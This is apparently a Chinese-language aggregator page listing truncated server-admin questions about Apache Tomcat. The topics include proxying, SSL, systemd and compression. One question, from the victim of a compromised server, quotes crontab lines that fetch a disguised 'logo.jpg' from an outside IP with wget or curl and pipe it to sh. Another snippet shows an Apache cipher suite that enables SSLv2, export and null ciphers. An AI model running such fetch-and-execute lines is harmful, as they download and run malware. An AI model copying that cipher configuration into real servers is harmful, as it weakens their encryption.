我尝试在 Debian 5 和 Debian 6 上以 2 种不同的方式(从源代码和使用 apt-get)安装 Apache Tomcat 5.5 和6 - 没有成功。服务器正在运行,但我无法连接到它。
netstat -a:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 `hostname`:ssh my_home_ip:4318 ESTABLISHED
tcp 0 52 `hostname`:ssh my_home_ip:remctl ESTABLISHED
tcp6 0 0 [::]:8009 [::]:* LISTEN
tcp6 0 0 [::]:8180 [::]:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
udp 0 0 *:mdns *:*
udp 0 …Run Code Online (Sandbox Code Playgroud) 我正在尝试使用 SSl 设置 Apache,并将 SSL 请求代理到我的 tomcat 实例。我想我使 SSL 工作,但仍然出现错误:
Run Code Online (Sandbox Code Playgroud)Bad Gateway The proxy server received an invalid response from an upstream server.
* SSL 虚拟主机 *
LoadModule ssl_module modules/mod_ssl.so
Listen 443
<VirtualHost _default_:443>
SSLEngine On
SSLProxyEngine On
DocumentRoot "/var/apache-tomcat-7.0.34/webapps/Learn2Gether/"
SSLCertificateFile /etc/pki/tls/learn2gether/cert-6090205098829887.pem
SSLCertificateKeyFile /etc/pki/tls/learn2gether/private_key_unlocked.pem
SSLCertificateChainFile /etc/pki/tls/learn2gether/rubca-chain.pem
BrowserMatch ".*MSIE.*" nokeepalive ssl-unclean-shutdown downgrade-1.0 force-response-1.0
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
ServerName www.learn2gether.rubel.rub.de
ServerAlias learn2gether.rubel.rub.de
#RewriteRule ^\/$ /Learn2Gether/index.html [PT]
##RewriteRule ^/(.*)$ /$1 [PT]
ProxyRequests Off
ProxyPreserveHost On
ProxyPass / https://localhost:8443/
ProxyPassReverse / https://localhost:8443/
</VirtualHost>
~
Run Code Online (Sandbox Code Playgroud)
HTTP VH …
在遵循有关在 CentOS 上安装 tomcat 的教程时,我在执行该行时遇到了问题sudo systemctl enable tomcat- 它抱怨以下错误消息:
The unit files have no installation config (WantedBy, RequiredBy, Also, Alias
settings in the [Install] section, and DefaultInstance for template units).
This means they are not meant to be enabled using systemctl.
Run Code Online (Sandbox Code Playgroud)
但是,我的 [Install] 部分中显然有一个条目:
[Unit]
Description=Tomcat 9 servlet container
After=network.target
[Service]
Type=forking
User=tomcat
Group=tomcat
Environment="JAVA_HOME=/usr/lib/jvm/jre"
Environment="JAVA_OPTS=-Djava.security.egd=file:///dev/urandom"
Environment="CATALINA_BASE=/opt/tomcat/latest"
Environment="CATALINA_HOME=/opt/tomcat/latest"
Environment="CATALINA_PID=/opt/tomcat/latest/temp/tomcat.pid"
Environment="CATALINA_OPTS=-Xms256M -Xmx512M -server -XX:+UseParallelGC"
ExecStart=/opt/tomcat/latest/bin/startup.sh
ExecStop=/opt/tomcat/latest/bin/shutdown.sh
[INSTALL]
WantedBy=multi-user.target
Run Code Online (Sandbox Code Playgroud)
我怎样才能获得它以允许我启用此服务?我相信我已经完成了它所要求的一切。
我正在尝试为我正在部署的第 3 方应用程序配置传递到 TomCat 的 Java 选项。该应用程序提供的说明是:
- 从 Windows 菜单中的开始 > 所有程序 > Apache Tomcat > Tomcat 配置打开 Tomcat 配置工具。
- 单击配置并选择Java选项卡。
- 在 Java 选项字段的底部,输入以下内容:
-Dexample.license.directory="C:\Program Files\example"- 停止并重新启动应用程序服务器。
但是,我需要以编程方式执行此操作,因此我想知道这些选项可以设置在哪个配置文件中。使用 GUI 将应用程序部署到其他开发人员的环境是不切实际的。
(如果相关,我正在使用 Tomcat 6.0...)
我已将我的VirtualHost example.com配置为将所有请求代理到 Tomcat 服务器
ProxyPass / http://localhost:8088/app
ProxyPassReverse / http://localhost:8088/app
Run Code Online (Sandbox Code Playgroud)
这适用于example.com/page 之类的URL ,但对于example.com和example.com/我得到了这个重定向响应,这显然不会导致任何结果。
HTTP/1.1 302 Moved Temporarily
Date: Wed, 06 Jul 2011 21:13:37 GMT
Server: Apache-Coyote/1.1 <-- the redirect comes from tomcat
Location: http://example.com/app/ <-- nonsense
...
Run Code Online (Sandbox Code Playgroud)
我能做些什么来修复它?最好在 Apache 配置中。
我正在使用 Apache 2 和 Tomcat 7
对不起,如果这个问题没有意义(这里没有专家),但我知道 tomcat 侦听端口 8080 并且该 url 通常寻址到 80。有没有办法告诉 DNS url 应该指向 8080?或者我应该如何解决这个问题?
默认情况下,Tomcat 会阻止 webapps 加载多个 .jars,它们是 Tomcat 发行版的一部分(例如 servlet 和 JSP API)——是否可以配置其他人也被排除在外?
如果不能单独配置,Tomcat 是否提供了资源验证的扩展点?
我想使用共享日志库,并且需要确保错误的应用程序不会破坏配置。
这就是我所指的(来自 Tomcat 启动日志):
Oct 1, 2011 5:53:40 AM org.apache.catalina.loader.WebappClassLoader validateJarFile
INFO: validateJarFile(D:\tomcat\myapp\WEB-INF\lib\servlet-api.jar) - jar not loaded.
See Servlet Spec 2.3, section 9.7.2.
Offending class: javax/servlet/Servlet.class
Run Code Online (Sandbox Code Playgroud) 我正在设置一个反向代理配置,其中路径以“/apps/”开头的所有请求都应该由 Apache 代理到 Tomcat。这个 IMO 有两个好处:它可以只为 URI 空间的“/apps/”部分保留代理,并且只对所有 Tomcat 应用程序使用一个代理规则(即对任何 Tomcat 应用程序的请求应该从'/应用/')。
例如,对http://mydomain/apps/my_app/ 的请求应该被代理到http://localhost:8082/my_app/。请注意 Tomcat URI 中没有“/apps/”前缀:“my_app”位于 ${CATALINA_HOME}/webapps/my_app 的常规位置。
我在 Apache vhost.conf 文件中使用以下代理规则实现了这一点:
ProxyPreserveHost on
ProxyPass /apps/ http://localhost:8082/
ProxyPassReverse /apps/ http://mydomain/
Run Code Online (Sandbox Code Playgroud)
(注意:我使用了 ProxyPreserveHost,因为我的 Tomcat 应用程序需要访问原始主机以生成更多链接)。一切顺利,除了由我的 Tomcat 应用程序的一部分生成的绝对链接。鉴于上述配置,我的 Tomcat 应用程序将“看到”这个请求:http://mydomain/my_app,因此生成没有“/apps/”前缀的链接,应该触发这些链接的代理。
我花了一些时间,但我现在明白这是代理的基本特征,并且没有“标准”方式将原始请求的“/apps/”前缀传递给代理应用程序。因此,我开始研究另一种可能性,即为所有 Tomcat 应用程序定义一个全局前缀,并使用以下设置代理 Tomcat 应用程序:
ProxyPreserveHost on
ProxyPass /apps/ http://localhost:8082/apps/
ProxyPassReverse /apps/ http://mydomain/apps/
Run Code Online (Sandbox Code Playgroud)
这会将http://mydomain/apps/my_app/ 的请求代理到http://localhost:8082/apps/my_app/。由于 Tomcat 服务器上的所有应用程序都将通过代理访问,因此我认为所有 Tomcat 应用程序都需要这个“/apps/”前缀。
到现在为止还挺好。然而,我在这种方法的 Tomcat 方面苦苦挣扎:找到一种方法为 Tomcat 应用程序的请求添加全局路径前缀。我得到的最接近的是: 1. 不要接触 Tomcat 应用程序的物理位置:将它们留在 ${CATALINA.HOME}/webapps 2. 更改 …
我们使用 F5 进行负载平衡和 SSL 代理。在它背后,我们使用 Tomcat 实例提供 Java 应用程序。这些是相当小的应用程序 - 数百个并发用户。
我想压缩一些内容,我正在寻找有关选择在 F5 或 tomcat 实例上配置压缩的建议。决定中的任何重要因素,还是一个六个中的六个?
在 Apache tomcat 服务器上运行项目战争时,我发现服务器已被入侵。
对未知进行战争的cron过程就像这样
[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh
Run Code Online (Sandbox Code Playgroud)
下载的logo.jpg有一个 shell 脚本,它正在下载恶意软件。
我在下面的这个网站上发现了一个类似的问题
https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/
和
https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux
我无法在我的整个代码中找到这个 cron 调度程序的来源。
我想知道有没有人遇到过这个问题?以及我应该如何在代码中找到调度程序的来源。
笔记:
我正在开发一个 JAVA(Struts 2)+jsp+javascript+jquery web 项目。
每次我使用项目的 war 文件启动我的 tomcat 时,这个调度程序都会运行,但是我无法在我的代码中找到任何调度程序的调度程序。
我在我的日志文件中发现了以下行
[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] …Run Code Online (Sandbox Code Playgroud) tomcat ×10
apache-2.2 ×3
centos ×1
compression ×1
f5-big-ip ×1
java ×1
linux ×1
mod-rewrite ×1
port ×1
rewrite ×1
security ×1
servlets ×1
shell ×1
ssl ×1
systemctl ×1
uri ×1
url ×1
virtualhost ×1
windows ×1